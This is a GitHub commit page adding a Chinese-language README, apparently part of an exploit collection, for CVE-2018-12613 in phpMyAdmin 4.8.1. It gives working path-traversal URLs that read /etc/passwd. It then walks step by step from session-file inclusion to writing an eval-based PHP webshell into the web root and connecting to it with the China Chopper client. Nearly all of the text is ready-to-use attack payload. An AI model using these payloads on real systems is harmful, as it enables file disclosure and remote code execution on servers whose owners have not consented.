Skip to content

Commit

Permalink
add phpMyAdmin v4.8.1 本地文件包含 到写入webshell
Browse files Browse the repository at this point in the history
  • Loading branch information
helloexp committed Mar 1, 2022
1 parent 0d31d13 commit 5fe4630
Show file tree
Hide file tree
Showing 7 changed files with 36 additions and 0 deletions.
36 changes: 36 additions & 0 deletions CMS/phpMyAdmin/phpMyAdmin v4.8.1/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
# phpMyAdmin v4.8.1 本地文件包含 到写入webshell

> CVE 编号: CVE-2018-12613
## poc
```shell script
http://xxxx.com/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
```
## poc2
```shell script
http://xxxx.com/index.php?target=sql.php?/../../../../../../../../../etc/passwd
```

## 写入webshell 利用
1. 执行sql 语句 `SELECT "<?php phpinfo();?>"`
2. 包含session 文件
![session](images/session.png)
`/index.php?target=sql.php?/../../../../../../../../../tmp/sess_7600504195960fdd23197b847708a866
`
包含session 文件,出现phpinfo
![session](images/phpinfo.png)
从phpinfo中搜索`CONTEXT_DOCUMENT_ROOT `可查看web路径
![webpaht](images/webpath.png)
3. 写入webshell
```sql
select "<?php file_put_contents('/var/www/html/cmd.php','<?php @eval($_POST[pass]);?>')?>"

```
访问 cmd.php 文件已经存在,说明写入成功
![cmd.php](images/cmd.png)

4. 菜刀添加webshell
![shell1](images/shell1.png)
![shell2](images/shell2.png)


Binary file added CMS/phpMyAdmin/phpMyAdmin v4.8.1/images/cmd.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.

0 comments on commit 5fe4630

Please sign in to comment.